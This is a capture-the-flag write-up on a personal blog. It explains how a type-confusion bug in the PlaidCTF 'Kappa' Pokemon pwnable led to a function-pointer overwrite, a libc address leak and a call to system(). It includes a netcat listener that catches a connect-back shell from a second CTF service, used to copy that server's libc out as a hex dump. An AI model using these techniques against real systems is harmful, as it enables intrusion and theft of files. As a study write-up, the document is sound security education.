PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

Hey folks,

This is my last writeup for PlaidCTF! You can get a list of all my writeups here. Kappa is a 275-point pwnable level called Kappa, and the goal is to capture a bunch of Pokemon and make them battle each other!

Ultimately, this issue came down to a type-confusion bug that let us read memory and call arbitrary locations. Let's see why!

The setup

When you run Kappa, you get a Pokemon interface:

Thank you for helping test CTF plays Pokemon! Keep in mind that this is currently in alpha which means that we will only support one person playing at a time. You will be provided with several options once the game begins, as well as several hidden options for those true CTF Plays Pokemon fans ;). We hope to expand this in the coming months to include even more features!  Enjoy! :)
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

If you go into the grass, you can capture a Pokemon:

1   
You walk into the tall grass!
.
.
.
You failed to find any Pokemon!
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

1
You walk into the tall grass!
.
.
.
A wild Kakuna appears!
Choose an Option:
1. Attack
2. Throw Pokeball
3. Run
2
You throw a Pokeball!
You successfully caught Kakuna!
What would you like to name this Pokemon?
POKEMON1
Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

...And so on.

It's worth noting that each of those periods represents a second of waiting. Thus, the first thing to do is to get rid of sleep():

@@ -1,5 +1,5 @@

-kappa:     file format elf32-i386
+kappa-fixed:     file format elf32-i386


 Disassembly of section .interp:
@@ -1077,19 +1077,35 @@
  8048de9:      c7 04 24 74 98 04 08    mov    DWORD PTR [esp],0x8049874
  8048df0:      e8 9b f7 ff ff          call   8048590 <puts@plt>
  8048df5:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048dfc:      e8 5f f7 ff ff          call   8048560 <sleep@plt>
+ 8048dfc:      90                      nop
+ 8048dfd:      90                      nop
+ 8048dfe:      90                      nop
+ 8048dff:      90                      nop
+ 8048e00:      90                      nop
  8048e01:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e08:      e8 83 f7 ff ff          call   8048590 <puts@plt>
  8048e0d:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1
- 8048e14:      e8 47 f7 ff ff          call   8048560 <sleep@plt>
+ 8048e14:      90                      nop
+ 8048e15:      90                      nop
+ 8048e16:      90                      nop
+ 8048e17:      90                      nop
+ 8048e18:      90                      nop
  8048e19:      c7 04 24 92 98 04 08    mov    DWORD PTR [esp],0x8049892
  8048e20:      e8 6b f7 ff ff          call   8048590 <puts@plt>
  8048e25:      c7 04 24 01 00 00 00    mov    DWORD PTR [esp],0x1

...and so on

Types, types, types

There are three types of Pokemon in the game: Bird Jesus, Kakuna, and Charizard. You can have up to four Pokemon captured at the same time. There is an array of the Pokemon types:

.bss:0804BFC0 pokemon_types   dd 5 dup(?)             ; DATA XREF: sub_8048960+219w
.bss:0804BFC0                                         ; do_heal_pokemon_real+20r ...
.bss:0804BFC0                                         ; A list of pokemon types, 1 2 or 3

...and also an array of pointers to the actual Pokemon:

.bss:0804BFAC pokemon_pointers dd 5 dup(?)            ; DATA XREF: list_pokemon+1Er
.bss:0804BFAC                                         ; list_pokemon+2Cr ...
                                                      ; A list of pointers to the captured Pokemon

The structures for each Pokemon type are also different, and this is really the key:

00000000 pokemon_type_1  struc ; (sizeof=0x888)
00000000 name            db 15 dup(?)
0000000F artwork         db 2153 dup(?)
00000878 health          dd ?                    ; XREF: do_heal_pokemon_real+5Bw ; max = 100
0000087C attack_power    dd ?
00000880 actions         dd ?
00000884 function_status dd ?                    ; XREF: do_inspect_pokemon+79r
00000888 pokemon_type_1  ends

00000000 pokemon_type_2  struc ; (sizeof=0x214)
00000000 name            db 15 dup(?)
0000000F artwork         db 501 dup(?)
00000204 health          dd ?                    ; XREF: do_heal_pokemon_real+80w
00000208 attack_power    dd ?
0000020C actions         dd ?
00000210 function_status dd ?                    ; XREF: do_inspect_pokemon+A9r
00000214 pokemon_type_2  ends

00000000 pokemon_type_3  struc ; (sizeof=0x5FC)
00000000 name            db 15 dup(?)            ; XREF: initialize_bird_jesus+18w
0000000F artwork         db 1501 dup(?)          ; XREF: initialize_bird_jesus+32o
000005EC health          dd ?                    ; XREF: do_heal_pokemon_real+36w
000005EC                                         ; initialize_bird_jesus+55w
000005F0 attack_power    dd ?                    ; XREF: initialize_bird_jesus+62w
000005F4 actions         dd ?                    ; XREF: initialize_bird_jesus+48w
000005F8 function_status dd ?                    ; XREF: do_inspect_pokemon+49r
000005F8                                         ; initialize_bird_jesus+6Fw
000005FC pokemon_type_3  ends

The three important fields are artwork, which is a differently sized array for each type, as well as actions and function_status. function_status is particular important, because it's a function pointer to the function that displays the Pokemon's status. And function pointers are fun. :)

Type confusion

Now, this is where the vulnerability happens. When you capture your sixth Pokemon, it no longer fits in the static 5-element array and asks you to replace one of your old ones:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a Pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4

The problem is, when a Pokemon updates a Pokemon of another type, it forgets to update the type array, and therefore thinks the Pokemon is of the wrong type! Since each type has a different structure, it means that Bad Stuff happens! If we change out a Pokemon then try to display it, this happens:

What would you like to name this Pokemon?
char
Caught char
Oh no! you don't have any more room for a Pokemon! Choose a pokemon to replace!
Choose a Pokemon!
1. Bird Jesus
2. Kack1
3. Kack2
4. Kack3
5. Kack4
2

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus
                   ..-`"-._
                 ,'      ,'`.
               ,f \   . / ,-'-.
              '  `. | |  , ,'`|
             `.-.  \| | ,.' ,-.\
              /| |. ` | /.'"||Y .
             . |_|U_\.|//_U_||. |
             | j    /   .    \ |'
              L    /     \    .j`
               .  `"`._,--|  //  \
               j   `.   ,'  , \   L
          ____/      `"'     \ L  |
       ,-'   ,'               \|'-+.
      /    ,'                  .    \
     /    /                     `    `.
    . |  j                       \     \
    |F   |                        '   \ .
    ||  F                         |   |\|
    ||  |                         |   | |
    ||  |                         |   | |
    `.._L                         |  ,' '
     .   |                        |,| ,'
      `  |                    '|||  j/
       `.'    .             ,'   /  '
         \\    `._        ,'    / ,'
          .\         ._ ,'     /,'
            .  ,   .'| \  (   //
            j_|'_,'  |  ._'` / `.
           ' |  |    |   |  Y    `.
    ,.__  `; |  |-"""^"""'  |.--""`
 ,--\   """ ,    \  / \ ,-     """"---.
'.--`v.=:.-'  .  L."`"'"\   ,  `.,.._ /`.
     .L    j-"`.   `\    j  |`.  "'--""`-'
     / |_,'    L ,-.|   (/`.)  `-\.-'\
    `-""        `. |     l /     `-"`-'
                  `      `- mh

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

Where did it crash?

Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x22272020 in ?? ()

0x22272020? That looks like ascii!

$ echo -ne '\x20\x20\x27\x22'
  '"

Space, space, single quote, double quote. That looks suspiciously like the ascii art we see above! And, in fact, it is! The artwork pointer of the Charizard we just caught overwrote the function_status pointer of the next Pokemon. Then, when we attempted to call function_status, it called some ascii art and crashed.

Here's what the memory layout is, essentially:

          [lower addresses]                                                     [higher addresses]
          +--------------------------------------------------------------------------------------+
Kakuna:   |name|artworkar|health|power|actions|fcn_status| [...]                                 |
          +----+---------+------+-----+-------+----------+---------------------------------------+
          +----+---------+------+-----+-------+-----------+------+-----+-------+----------+------+
Charizard:|name|artworkartworkartworkartworkartworkartwork|health|power|actions|fcn_status| [...]|
          +----+------------------------------------------+------+-----+-------+----------+------+
          [lower addresses]                                                     [higher addresses]

When the Kakuna is replaced by a Charizard, the program still thinks that the Pokemon is a charizard. Then, when it calls fcn_status(), it's actually calling an address pointer read from the artwork. If you look at the diagram above, you'll see that the same place that Kakuna stores its fcn_status pointer, Charizard stores its artwork.

The best part is, we can change the artwork! And therefore, we can change what Kakuna thinks is the function pointer! Check this out:

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

5
Choose a Pokemon!
1. Bird Jesus
2. char

3. 1

4. 1

5. 1

2
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

I'm sure you'll love to show this new art to your friends!

Choose an Option:
1. Go into the Grass
2. Heal your Pokemon
3. Inpect your Pokemon
4. Release a Pokemon
5. Change Pokemon artwork

3
Here are all of the stats on your current Pokemon!
Name: Bird Jesus

[...ascii art...]

Current Health: 960
Attack Power: 20
Attack: Gust
Segmentation fault (core dumped)

$ gdb -q ./kappa-fixed ./core
Core was generated by `./kappa-fixed'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb)

Sure enough, we can control the call (and therefore EIP) by overwriting the function pointer!

The deep blue libc

All right, we have EIP control, but that was only half the time I spent on this level! The other half was trying to figure out what to do with libc. Basically, I can cause a crash here:

.text:08049075                 mov     [esp], edx
.text:08049078                 call    eax

Where 'edx' is a pointer to the full structure—the name, etc.—and eax is fully controlled. That means we can call an arbitrary function and pass an arbitrary string value as the first parameter. system(), anyone?

The first thing we tried was jumping to the heap. Suffice to say, that failed. So we had to be more clever and use a return-into-libc attack. The problem was, we didn't know where libc was!

Remember earlier when I said that actions was an important field? Well, the actions field, normally, is a pointer to the action that the Pokemon can take. Did you see under Bird Jesus's status where it said Attack: Gust? Well, that's reading a string pointed to by our struct. By using the same overflow we were using before, we can change where it reads that string from!

To put a kink in it, it's actually dereferenced before being read. Which means that whatever we point it to will be dereferenced then printed. So, it's a pointer to a string pointer. Meaning we can only read memory if we have a pointer to it!

For our attack, we need a pointer to libc. Luckily, we have the ever-handy Program Relocation Table sitting around, with calls such as this:

.plt:08048510 _read           proc near               ; CODE XREF: sub_8048960+1DCp
.plt:08048510                                         ; do_change_artwork+5A6p
.plt:08048510                 jmp     ds:off_804AEB4
.plt:08048510 _read           endp

The machine code for making that jump is actually FF 25 B8 AE 04 08. The last 4 bytes—B8 AE 04 08—refer to the address 0x0804aeb8. That address, in turn, stores the actual relocation address of the read() libc call! We chose read() because it happened to be the first one, and it just happened to be the one we grabbed. We could just of easily have used printf() or any other libc function.

To rephrase all that, we can set the Pokemon's action to a pointer to a string pointer. If we use 0x08048510+2, then we're setting it to a pointer to 0x804AEB4, which in turn is the read() libc call. Then when it tries to print, it's going to print the address of read() (and also printf() and some other functions) as a string, until it reaches a NUL byte!

Here's what it looks like:

...
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE
Current Health: 69
Attack Power: 9999
Attack: P l\xB7\xB0\xC3d\xB7@Hg\xB70\x98g\xB7 Df\xB7f\x85
Name: Kack2
...

Remember the series of 'A's is the altered artwork. And "P l\xb7" works out to "50 20 6c b7", or "0xb76c2050", a perfectly reasonable pointer to a libc function!

Pwnage

All right, we're just about done! We have an offset for libc's read() function, but what about system()?

This is where we cheated a bit. And by cheated, I mean use a common CTF technique: We stole a copy of libc from ezhp's level!

To do this, I re-exploited ezhp, and used connect-back shellcode to netcat that I had running. The netcat was logging into a file using the "tee" program:

nc -vv -l -p 55555 | tee libc.hex

Then once I'd exploited ezhp and gotten a shell back on that netcat instance, I used 'ldd' on ezhp's binary to find libc:

ldd ezhp
        linux-gate.so.1 =>  (0xb7759000)
        libc.so.6 => /lib/i686/cmov/libc.so.6 (0xb7600000)
        /lib/ld-linux.so.2 (0xb775a000)

Then printed libc.so.6 out in hex:

xxd -g1 /lib/i686/cmov/libc.so.6 | head
0000000: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00  .ELF............
0000010: 03 00 03 00 01 00 00 00 00 6e 01 00 34 00 00 00  .........n..4...
0000020: fc 36 14 00 00 00 00 00 34 00 20 00 0a 00 28 00  .6......4. ...(.
0000030: 45 00 44 00 06 00 00 00 34 00 00 00 34 00 00 00  E.D.....4...4...
0000040: 34 00 00 00 40 01 00 00 40 01 00 00 05 00 00 00  4...@...@.......
...

Then terminated the connection.

At this point, I had a fairly dirty libc.hex file. I opened it up in vim, removed everything except the hexdump, and saved it. Then I converted it back to binary:

xxd -r < libc.hex > libc.so.6

And now I had a pretty typical libc.so copy from the server, and sure enough it was right! Once I had it, I calculated the offset between read() and system(), which turned out to be 0x8b500 bytes.

I then used the following pseudo-code:

return_address = read_address - 0x8b500

to calculate the return address. I set the name of my Pokemon to the command I wanted to run (since the name is the first argument passed into the function). And I ran it!

Because the name of the Pokemon was limited to 15 characters, I ended up using the command ls -lR / to find the flag, which gave me a 2.8mb directory listing of the server:

$ ls -lh dirlisting.txt
-rw-r--r-- 1 ron ron 2.8M Apr 12 22:47 dirlisting.txt

Which turned out to be in /home/kappa/flag. Then, I printed it out using "cat ~kappa/f*".

And that was it!

Conclusion

So basically, we could cause the program to mix up the structure types. We used that to create an arbitrary indirect read, which we used to find the read() function, and therefore the system() function. Armed with that, we used the structure mix up to overwrite a function pointer and call system() with arbitrary commands!

2 thoughts on “PlaidCTF writeup for Pwn-275 – Kappa (type confusion vuln)

  1. Reply

    blah

    Hi,

    Thank you for the writeup! Two doubts:-
    1. How did you find the vuln? Did you give random inputs? Did you analyse statically? Were you looking for a type confusion bug?
    2. What was your chosen method to patch the calls to sleep? Did you patch using radare?

    Thanks in advance!

    1. Reply

      Ron Bowes Post author

      @blah - To be honest, my team mate found the vuln. But I was already thinking along those lines while I was reversing. I mostly just reversed everything, and kept my eyes out for common issues.

      I use a tool called xvi32.exe to modify the binary. I just search for the hex value of the call and change it to '90 90 90 90 90'. I talk about it more in an older blog, in the context of removing fork() and alarm():

      https://blog.skullsecurity.org/2014/ghost-in-the-shellcode-ti-1337-pwnable-100

      Cheers!

Leave a Reply

Your email address will not be published.